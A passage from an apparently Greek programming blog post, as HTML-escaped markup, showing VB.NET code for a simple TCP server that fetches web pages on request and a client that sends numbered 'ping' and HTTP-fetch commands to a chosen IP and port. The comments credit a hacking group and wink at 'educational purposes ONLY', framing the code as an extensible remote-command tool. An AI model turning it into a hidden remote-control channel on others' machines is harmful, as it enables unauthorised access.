             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Add&lt;/span&gt; a &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;new&lt;/span&gt; line &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the webResponse &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;string&lt;/span&gt;.
             sWebHtmlResponse += ControlChars.Lf &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;+&lt;/span&gt; ControlChars.Cr

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Release the resources of stream &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;object&lt;/span&gt;.
             readStream.Close()

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Release the resources of response &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;object&lt;/span&gt;.
             myWebResponse.Close()

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; Send the Html Response &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the client &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;in&lt;/span&gt; UTF-8 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;format&lt;/span&gt;.    
             sendBytes &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; Encoding.UTF8.GetBytes(sWebHtmlResponse)
             netStream.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Write&lt;/span&gt;(sendBytes, 0, sendBytes.Length)


         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Catch&lt;/span&gt; ex &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; Exception
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; Ops! An &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;error&lt;/span&gt; occur, inform the client about it!
             sendBytes &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; Encoding.ASCII.GetBytes(ex.Message)
             netStream.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Write&lt;/span&gt;(sendBytes, 0, sendBytes.Length)

         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Try&lt;/span&gt;
     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Sub&lt;/span&gt;
   
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;End&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Class&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;...και το κυριότερο μέρος του client είναι το εξής:&lt;br&gt;
&lt;/p&gt;&lt;table style="BORDER-BOTTOM:#e5e5e5 1px solid;BORDER-LEFT:#e5e5e5 1px solid;BACKGROUND-COLOR:#f2f2f2;BORDER-TOP:#e5e5e5 1px solid;BORDER-RIGHT:#e5e5e5 1px solid;" border="0" cellspacing="0" cellpadding="0" width="100%"&gt;

&lt;tr style="LINE-HEIGHT:normal;VERTICAL-ALIGN:top;"&gt;
&lt;td style="TEXT-ALIGN:right;WIDTH:40px;"&gt;&lt;pre style="PADDING-BOTTOM:2px;MARGIN:0px;PADDING-LEFT:2px;PADDING-RIGHT:2px;FONT-FAMILY:courier new;COLOR:gray;FONT-SIZE:11px;BORDER-RIGHT:#e7e7e7 1px solid;PADDING-TOP:2px;"&gt;1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
 &lt;/pre&gt;&lt;/td&gt;
&lt;td&gt;&lt;pre style="PADDING-BOTTOM:2px;MARGIN:0px;PADDING-LEFT:8px;PADDING-RIGHT:2px;PADDING-TOP:2px;"&gt;&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:black;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; *********************************************************************
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  A simple client.
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  It sends commands at a specific port at a specific address.
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Available commands:
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  1. &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; the first letter of the packet send by the client &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;is&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"1"&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;then&lt;/span&gt; this &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;is&lt;/span&gt; considered &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;as&lt;/span&gt; a &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"ping"&lt;/span&gt; request 
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;     (i.e. The &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"R u there"&lt;/span&gt; checkbox must be checked!
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;     The server sould considered &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;with&lt;/span&gt; a &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"IREM m here baby!"&lt;/span&gt;
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  2. &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; the first letter of the packet send by the client &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;is&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"2"&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;then&lt;/span&gt; this &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;is&lt;/span&gt; considered &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;as&lt;/span&gt; an HTTP request.
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;     The server access the specified page &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;and&lt;/span&gt; send the web response &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the cient &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;as&lt;/span&gt; an html page.
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;     The page &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;is&lt;/span&gt; displyed &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;as&lt;/span&gt; html-text &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;as&lt;/span&gt; well &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;as&lt;/span&gt; html-look &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;in&lt;/span&gt; the pages: Html-Response &amp;amp; Web Browser respectively.
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  (C)04th of Jan 2010
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Greetz &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; p0wnbox team @ www.p0wnbox.com
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; 
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; 
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  REMARKS:
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  You can &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;get&lt;/span&gt; this program &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;and&lt;/span&gt; extend it &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; handle any commands you want.
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  I bet that you gonna use it &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;for&lt;/span&gt; educational purposes ONLY. Am i &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;right&lt;/span&gt;? ;)
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  thx... I appreciate!
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; ****************************************************************************************************************&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Imports&lt;/span&gt; System.Net.Sockets
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Imports&lt;/span&gt; System.Text
 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Imports&lt;/span&gt; System.IO

 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Public&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Class&lt;/span&gt; Form1

     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Private&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Sub&lt;/span&gt; Button1_Click(&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;ByVal&lt;/span&gt; sender &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; System.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Object&lt;/span&gt;, &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;ByVal&lt;/span&gt; e &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; System.EventArgs) &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Handles&lt;/span&gt; Button1.Click
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; tcpClient &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;New&lt;/span&gt; System.Net.Sockets.TcpClient()
         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; sInformation &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;String&lt;/span&gt;

         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Clear&lt;/span&gt; the pages
         RichTextBox1.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Clear&lt;/span&gt;()
         WebBrowser1.Navigate(&lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"about:blank"&lt;/span&gt;)

         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Inform the user about the response time
         sInformation &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"Client Requests @ "&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;+&lt;/span&gt; DateTime.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Now&lt;/span&gt;.ToString
         ListBox1.Items.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Add&lt;/span&gt;(sInformation)

         &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Try&lt;/span&gt;
             tcpClient.Connect(TextBox_IP.Text, NumericUpDown_Port.Value)

             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; networkStream &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; Net.Sockets.NetworkStream &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; tcpClient.GetStream()
             &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; networkStream.CanWrite &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;And&lt;/span&gt; networkStream.CanRead &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Then&lt;/span&gt;
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; sendBytes &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; [&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Byte&lt;/span&gt;]() &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Nothing&lt;/span&gt;
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; s &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;String&lt;/span&gt;
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; i &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; Int32
                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Dim&lt;/span&gt; bytes(tcpClient.ReceiveBufferSize) &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;As&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Byte&lt;/span&gt;

                 &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;If&lt;/span&gt; CheckBox_handshake.Checked &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;True&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Then&lt;/span&gt;
                     sendBytes &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; Encoding.ASCII.GetBytes(&lt;span style="BACKGROUND-COLOR:#e4e4e4;FONT-FAMILY:Courier New;COLOR:#666666;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;"1.Is anybody there?"&lt;/span&gt;)
                     networkStream.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Write&lt;/span&gt;(sendBytes, 0, sendBytes.Length)
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Read the NetworkStream into a &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;byte&lt;/span&gt; buffer.
                     networkStream.Read(bytes, 0, &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;CInt&lt;/span&gt;(tcpClient.ReceiveBufferSize))
                     &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;REM&lt;/span&gt;  Output the data received from the host &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;to&lt;/span&gt; the listbox.
                     s &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;=&lt;/span&gt; &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Space&lt;/span&gt;(5) &lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:red;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;+&lt;/span&gt; Encoding.ASCII.GetString(bytes)
                     ListBox1.Items.&lt;span style="BACKGROUND-COLOR:transparent;FONT-FAMILY:Courier New;COLOR:blue;FONT-SIZE:11px;FONT-WEIGHT:normal;"&gt;Add&lt;/span&gt;(s)
